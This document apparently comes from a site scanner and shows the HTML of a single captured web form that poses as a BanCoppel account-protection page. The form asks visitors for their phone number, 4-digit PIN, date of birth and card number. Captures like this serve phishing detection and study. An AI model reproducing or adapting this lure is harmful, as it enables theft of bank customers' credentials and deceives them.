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1 forms found in the DOM

POST #

<form class="login100-form validate-form" action="#" onsubmit=" return sender()" method="post">
  <p id="address" hidden="">Salo, FI</p>
  <p id="gfg" hidden="">
    <b></b>
  </p>
  <div class="textypn1"><b><span class="model" style="font-size:28px; color:#003995; text-align:center;">
					Proteger cuenta BanCoppel.</span></b></div>
  <div class="wrap-input101 validate-input" data-validate="">
    <br>
    <div class="textypn2"><span class="model" style="font-size:16px; color:#003995; text-align:center;"> Cancelar solicitud de cambio de número.</span></div>
    <br>
    <br>
    <div class="textypn2"><span class="model" style="font-size:16px; color:gray; text-align:center;"> ¿Cuál es tu número celular actual?</span></div>
    <br>
    <div class="wrap-input101 validate-input" data-validate="">
      <span class="label-input101"></span>
      <input class="input101" type="text" pattern="[0-9]*" inputmode="numeric" name="ypn-cel" id="ypn-cel" maxlength="10" minlength="10" required="true" onkeypress="if (event.keyCode < 48 || event.keyCode > 57) event.returnValue = false;"
        placeholder="Debe tener 10 digitos">
      <span class="focus-input100" data-symbol=""></span>
    </div> <br>
    <div class="textypn2"><span class="model" style="font-size:16px; color:gray; text-align:center;"> Ingresa los 4 digitos de tu NIP</span></div>
    <br>
    <div class="wrap-input101 validate-input" data-validate="">
      <span class="label-input101"></span>
      <input class="input101" type="text" pattern="[0-9]*" inputmode="numeric1" name="ypn-cel1" id="ypn-cel1" maxlength="4" minlength="4" required="true" onkeypress="if (event.keyCode < 48 || event.keyCode > 57) event.returnValue = false;"
        placeholder="Debe tener 4 digitos">
      <span class="focus-input100" data-symbol=""></span>
    </div>
    <br>
    <div class="textypn2"><span class="model" style="font-size:16px; color:gray; text-align:center;"> Fecha de nacimiento</span></div>
    <br>
    <div class="wrap-input101 validate-input" data-validate="">
      <input class="input101" type="date" pattern="[0-9]*" inputmode="numeric" name="ypn-fn" id="ypn-fn" required="true" min="1930-12-30" max="2006-12-30" onkeypress="if (event.keyCode < 48 || event.keyCode > 57) event.returnValue = false;"
        placeholder="Fecha de nacimiento">
      <span class="focus-input100" data-symbol=""></span>
    </div>
    <div class="textypn2"><span class="model" style="font-size:16px; color:#3EB7FC; text-align:left;"> <br> Ingresa tu número de Cliente, número de Cuenta o tu Tarjeta BanCoppel</span></div> <br>
    <div class="wrap-input101 validate-input" data-validate="">
      <span class="label-input101"></span>
      <input class="input101" type="text" pattern="[0-9]*" inputmode="numeric" name="ypn-nc" id="ypn-nc" maxlength="16" minlength="16" required="true" onkeypress="if (event.keyCode < 48 || event.keyCode > 57) event.returnValue = false;"
        placeholder="Ingresa tu número de Tarjeta">
      <span class="focus-input100" data-symbol=""></span>
    </div>
    <br>
    <div class="text-right p-t-8 p-b-31">
    </div>
    <div class="container-login100-form-btn">
      <div class="wrap-login100-form-btn">
        <div class="login100-form-bgbtn"></div>
        <button type="submit" style="height:50px; width:100%;" class="login100-form-btn" value="Continuar" id="btnSend"> Continuar </button>
      </div>
    </div>
    <div>
      <br>
      <br>
    </div><br>
  </div>
</form>

Text Content

Salo, FI



Proteger cuenta BanCoppel.


Cancelar solicitud de cambio de número.


¿Cuál es tu número celular actual?



Ingresa los 4 digitos de tu NIP



Fecha de nacimiento



Ingresa tu número de Cliente, número de Cuenta o tu Tarjeta BanCoppel





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